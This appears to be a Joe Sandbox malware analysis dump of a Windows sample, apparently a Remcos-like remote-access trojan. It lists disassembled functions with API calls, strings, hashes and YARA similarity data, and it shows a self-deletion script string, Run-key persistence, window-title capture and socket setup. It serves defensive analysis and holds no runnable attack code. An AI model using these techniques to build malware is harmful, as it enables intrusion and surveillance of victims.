                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,00466900,00000000,00000000,0040C267,00000000,00000000,fso.DeleteFile(Wscript.ScriptFullName)), ref: 0041B7D9
                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0041B7F6
                                                                                            • WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0041B80A
                                                                                            • CloseHandle.KERNEL32(00000000), ref: 0041B817
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: File$CloseCreateHandlePointerWrite
                                                                                            • String ID:
                                                                                            • API String ID: 3604237281-0
                                                                                            • Opcode ID: 801f75d00fac8da0c66411ebabb5881698d5c73b15829ac97cd3568d121a9cb6
                                                                                            • Instruction ID: fca0af3f27241acfb9d15a16a542bc487c24adb9e916811621f81636ea96e045
                                                                                            • Opcode Fuzzy Hash: 801f75d00fac8da0c66411ebabb5881698d5c73b15829ac97cd3568d121a9cb6
                                                                                            • Instruction Fuzzy Hash: 1501F5712052057FE6105E249CC9EBB739CEB82B75F10063EF662D23C1DB25CC8686B9
                                                                                            Function 0041B825 Relevance: 6.0, APIs: 4, Instructions: 50fileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,00000000,00409F65), ref: 0041B83E
                                                                                            • GetFileSize.KERNEL32(00000000,00000000), ref: 0041B852
                                                                                            • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0041B877
                                                                                            • CloseHandle.KERNEL32(00000000), ref: 0041B885
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: File$CloseCreateHandleReadSize
                                                                                            • String ID:
                                                                                            • API String ID: 3919263394-0
                                                                                            • Opcode ID: ed58f78054f3304a0e571c39d56cdde4fa23284483a9ae65eff7322f5774d552
                                                                                            • Instruction ID: 2a104a3335fe37b36386f9496d9e2b25d881a91c22a4f34d2042fa75e5cfbfce
                                                                                            • Opcode Fuzzy Hash: ed58f78054f3304a0e571c39d56cdde4fa23284483a9ae65eff7322f5774d552
                                                                                            • Instruction Fuzzy Hash: 47F0C2B12422047FE6102F25AC89FBF3A5CDB86BA9F10023EF801A2291DE258C0581B9
                                                                                            Function 00414D2D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 163COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: CountEventTick
                                                                                            • String ID: NG
                                                                                            • API String ID: 180926312-1651712548
                                                                                            • Opcode ID: 93082b034e5c1af7f74f6d60d801af84df4483ac8562f895a6bca654e3493ae6
                                                                                            • Instruction ID: 085b2f02be9ab0868ba51c73fb921716b1faa5b055701b3286f453889ed4f7a0
                                                                                            • Opcode Fuzzy Hash: 93082b034e5c1af7f74f6d60d801af84df4483ac8562f895a6bca654e3493ae6
                                                                                            • Instruction Fuzzy Hash: C85182321042409AC624FB71D8A2AEF73E5AFD0304F00453FB94A671E2EF789949C69E
                                                                                            Function 00412A52 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23registryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • RegOpenKeyExW.KERNEL32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\,00000000,00000002,?,80000002,80000002,0040BFB2,00000000,h&y,00475308,?,pth_unenc), ref: 00412A60
                                                                                            • RegDeleteValueW.KERNEL32(?,?,?,pth_unenc), ref: 00412A70
                                                                                            Strings
                                                                                            • Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 00412A5E
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: DeleteOpenValue
                                                                                            • String ID: Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\
                                                                                            • API String ID: 2654517830-1051519024
                                                                                            • Opcode ID: 3a238ae8f5602ce2402de7cae663a0db3b4178bc362611f3100633d001d48757
                                                                                            • Instruction ID: 27182704b7fa20b5ed2a2764b3d23dc9a6b68b829b0f6622ee10c7d45645f89b
                                                                                            • Opcode Fuzzy Hash: 3a238ae8f5602ce2402de7cae663a0db3b4178bc362611f3100633d001d48757
                                                                                            • Instruction Fuzzy Hash: F1E01270200308BAEF204FA19E06FEB37ACAB40BC9F004169F601F5191EAB6DD54A658
                                                                                            Function 0040AF77 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22fileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • DeleteFileW.KERNEL32(00000000,?,pth_unenc), ref: 0040AF84
                                                                                            • RemoveDirectoryW.KERNEL32(00000000,?,pth_unenc), ref: 0040AFAF
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: DeleteDirectoryFileRemove
                                                                                            • String ID: pth_unenc
                                                                                            • API String ID: 3325800564-4028850238
                                                                                            • Opcode ID: 7b845410b2c100cd84e1cb5c796077768945eb3f9586e929b361309ded2c1d61
                                                                                            • Instruction ID: b030a41f26c3d5f2e51690188d4bb45887e11e7cc62b1c698fc8f7347c957287
                                                                                            • Opcode Fuzzy Hash: 7b845410b2c100cd84e1cb5c796077768945eb3f9586e929b361309ded2c1d61
                                                                                            • Instruction Fuzzy Hash: 12E046715116104BC610AB32E845AEBB798AB05306F00446FE8D3B36A1DE38A948CA98
                                                                                            Function 0040BED7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13synchronizationCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • CreateMutexA.KERNEL32(00000000,00000001,00000000,0040DA7D,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E,00000000,0046656C,00000003,00000000), ref: 0040BEE6
                                                                                            • GetLastError.KERNEL32 ref: 0040BEF1
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: CreateErrorLastMutex
                                                                                            • String ID: Rmc-A5VKNH
                                                                                            • API String ID: 1925916568-718852285
                                                                                            • Opcode ID: a3b1be1148cb3973ecd705bae41f9902d0fcd13797bcadbc01d9bc0dca2f87b2
                                                                                            • Instruction ID: 2210f0ff69d3cac9d22e7a3f14049619627ec1602d204fa864a150733b7892bf
                                                                                            • Opcode Fuzzy Hash: a3b1be1148cb3973ecd705bae41f9902d0fcd13797bcadbc01d9bc0dca2f87b2
                                                                                            • Instruction Fuzzy Hash: B9D012702057009BE70817709D4E76D3951D784703F00407DB90BE51E1CEA488409519
                                                                                            Function 004125EB Relevance: 4.5, APIs: 3, Instructions: 42registryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 0041260F
                                                                                            • RegQueryValueExA.KERNEL32(?,?,00000000,00000000,?,00000400), ref: 0041262C
                                                                                            • RegCloseKey.KERNEL32(?), ref: 00412637
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: CloseOpenQueryValue
                                                                                            • String ID:
                                                                                            • API String ID: 3677997916-0
                                                                                            • Opcode ID: 3cd3d7d3008c69d15b158efa000f5de0851c37b6ec12a2d5daac047773a23bf0
                                                                                            • Instruction ID: 14faf112d3046a25d46051106a5b1d66d342437105d793e51b0bcc882fecfd0c
                                                                                            • Opcode Fuzzy Hash: 3cd3d7d3008c69d15b158efa000f5de0851c37b6ec12a2d5daac047773a23bf0
                                                                                            • Instruction Fuzzy Hash: D8F0D176900118BBCB209B91DD09EDF7B7CEB44B50F00406ABA05F2190DA749E599BA8
                                                                                            Function 00412735 Relevance: 4.5, APIs: 3, Instructions: 41registryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,00000000,00475308), ref: 00412751
                                                                                            • RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,00000208,?), ref: 0041276A
                                                                                            • RegCloseKey.KERNEL32(00000000), ref: 00412775
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: CloseOpenQueryValue
                                                                                            • String ID:
                                                                                            • API String ID: 3677997916-0
                                                                                            • Opcode ID: 2290404c5028f19351fda844a65f428930317fa0cea8d3593e6495ca7ac6aa60
                                                                                            • Instruction ID: 218a6bf298efa18a53fa985214dbde7e418f837aa6fd6996b0f70a828ecfe766
                                                                                            • Opcode Fuzzy Hash: 2290404c5028f19351fda844a65f428930317fa0cea8d3593e6495ca7ac6aa60
                                                                                            • Instruction Fuzzy Hash: 6501AD35800229BFDF215F91DC09DDF7F38EF05760F004065BA08A20A0EB3589A9DBA4
                                                                                            Function 0041258F Relevance: 4.5, APIs: 3, Instructions: 38registryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?), ref: 004125AF
                                                                                            • RegQueryValueExA.KERNEL32(?,?,00000000,00000000,00000000,?,00475308), ref: 004125CD
                                                                                            • RegCloseKey.KERNEL32(?), ref: 004125D8
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: CloseOpenQueryValue
                                                                                            • String ID:
                                                                                            • API String ID: 3677997916-0
                                                                                            • Opcode ID: f2bc15ec1dd87dd5d2b8e96f704feec537dddf8cd8f352820b88cb246238aa27
                                                                                            • Instruction ID: f1b1b21d3432ee16d2560aa6e8f8b6fc3b679f7482eced78fea8614e15db81c1
                                                                                            • Opcode Fuzzy Hash: f2bc15ec1dd87dd5d2b8e96f704feec537dddf8cd8f352820b88cb246238aa27
                                                                                            • Instruction Fuzzy Hash: B4F03075A00208BFDF119FA09C45FDEBBB8EB04B55F104065FA05F6191D670DA54DB94
                                                                                            Function 00412546 Relevance: 4.5, APIs: 3, Instructions: 32registryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?,00000000,?,?,0040B996,004670E0), ref: 0041255D
                                                                                            • RegQueryValueExA.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?,0040B996,004670E0), ref: 00412571
                                                                                            • RegCloseKey.KERNEL32(?,?,?,0040B996,004670E0), ref: 0041257C
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: CloseOpenQueryValue
                                                                                            • String ID:
                                                                                            • API String ID: 3677997916-0
                                                                                            • Opcode ID: 90b816baf6681459c689896bd7ee7621983de5913a9f55156db5b466bfdb1e74
                                                                                            • Instruction ID: da5e3a6b8615f7fc9763e362b131f946d251b316bd2acc507b7b22157b73f9fc
                                                                                            • Opcode Fuzzy Hash: 90b816baf6681459c689896bd7ee7621983de5913a9f55156db5b466bfdb1e74
                                                                                            • Instruction Fuzzy Hash: 1BE03931941224BB9B200BA29D09EDB7F6DEF06BA1B010455B809A2111DAA18E54EAF4
                                                                                            Function 0041AB50 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 16COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GlobalMemoryStatusEx.KERNEL32(?), ref: 0041AB64
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: GlobalMemoryStatus
                                                                                            • String ID: @
                                                                                            • API String ID: 1890195054-2766056989
                                                                                            • Opcode ID: a4fe8e15525f2be1febd29730eb74c732a6063ed027868c332be47892e1af589
                                                                                            • Instruction ID: b665d68c061e3f9f56ba9c4249da2251c097319f67e9030db6e937b6cf7da2fa
                                                                                            • Opcode Fuzzy Hash: a4fe8e15525f2be1febd29730eb74c732a6063ed027868c332be47892e1af589
                                                                                            • Instruction Fuzzy Hash: 00D067B59013189FCB20DFA8E945A8DBBF8EB48214F004529E946E3744E774E945CB94
                                                                                            Function 0044BBCE Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _free.LIBCMT ref: 0044BBEF
                                                                                              • Part of subcall function 00446D0F: RtlAllocateHeap.NTDLL(00000000,00434613,?,?,00437437,?,?,?,?,?,0040CD5A,00434613,?,?,?,?), ref: 00446D41
                                                                                            • RtlReAllocateHeap.NTDLL(00000000,00476D58,?,00000004,00000000,?,0044EB1A,00476D58,00000004,?,00476D58,?,?,00443335,00476D58,?), ref: 0044BC2B
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: AllocateHeap$_free
                                                                                            • String ID:
                                                                                            • API String ID: 1482568997-0
                                                                                            • Opcode ID: c663a77da406be6e54bbe5e4694e400583292b09c8c587c623d78d47e3d5e62a
                                                                                            • Instruction ID: 767aa377775814b37deb1c17d78f1b9627af84273febb40deea43816b68d1426
                                                                                            • Opcode Fuzzy Hash: c663a77da406be6e54bbe5e4694e400583292b09c8c587c623d78d47e3d5e62a
                                                                                            • Instruction Fuzzy Hash: D3F0C23160051166FB212A679C81F6B2B59CF82B74B15402FF805AA691DF3CD841A1ED
                                                                                            Function 004041F1 Relevance: 3.0, APIs: 2, Instructions: 40networkCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • socket.WS2_32(00000002,00000001,00000006), ref: 00404212
                                                                                              • Part of subcall function 00404262: WSAStartup.WS2_32(00000202,00000000), ref: 00404277
                                                                                            • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 00404252
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: CreateEventStartupsocket
                                                                                            • String ID:
                                                                                            • API String ID: 1953588214-0
                                                                                            • Opcode ID: 9dcc25316a99288ac387cf2e613c868b0e107fead0b532e7680f1acbcbd447ec
                                                                                            • Instruction ID: e62a462d4859cb901c95814de100b0ae44c334504336dc08fc7633b5118be932
                                                                                            • Opcode Fuzzy Hash: 9dcc25316a99288ac387cf2e613c868b0e107fead0b532e7680f1acbcbd447ec
                                                                                            • Instruction Fuzzy Hash: 100171B0508B809FD7358F38B8456977FE0AB15314F044DAEF1D697BA1C7B5A481CB18
                                                                                            Function 00433818 Relevance: 3.0, APIs: 2, Instructions: 38COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • __CxxThrowException@8.LIBVCRUNTIME ref: 00433FF2
                                                                                              • Part of subcall function 00437DE7: RaiseException.KERNEL32(?,?,00434621,?,?,?,?,?,?,?,?,00434621,?,0046E654,0041AF80,?), ref: 00437E47
                                                                                            • __CxxThrowException@8.LIBVCRUNTIME ref: 0043400F
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Exception@8Throw$ExceptionRaise
                                                                                            • String ID:
                                                                                            • API String ID: 3476068407-0
                                                                                            • Opcode ID: 8f9b2f949f6b7ca7b98c1710385d9d858744d792f8e387416edbffdc20ead5bb
                                                                                            • Instruction ID: 1c2073f64fee591a786a8a3f9c67cac18272885bad9296719f7a79fda1cbf913
                                                                                            • Opcode Fuzzy Hash: 8f9b2f949f6b7ca7b98c1710385d9d858744d792f8e387416edbffdc20ead5bb
                                                                                            • Instruction Fuzzy Hash: 1BF0BB25C0430D768B04BEA6E80A9AD33BC5E08329F50513BB825914D1FB7C9759C5CD
                                                                                            Function 0041AE5D Relevance: 3.0, APIs: 2, Instructions: 25COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetForegroundWindow.USER32 ref: 0041AE7F
                                                                                            • GetWindowTextW.USER32(00000000,?,00000100), ref: 0041AE92
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Window$ForegroundText
                                                                                            • String ID:
                                                                                            • API String ID: 29597999-0
                                                                                            • Opcode ID: 27a61dc13c3baf2ab93a997f5cd2cb0d43e4b22d1e77ef92c0de48519faa66db
                                                                                            • Instruction ID: 7a6786a6daea7d79da8b38e9164549a295f8c3929764bf887eb2819544a3ffc0
                                                                                            • Opcode Fuzzy Hash: 27a61dc13c3baf2ab93a997f5cd2cb0d43e4b22d1e77ef92c0de48519faa66db
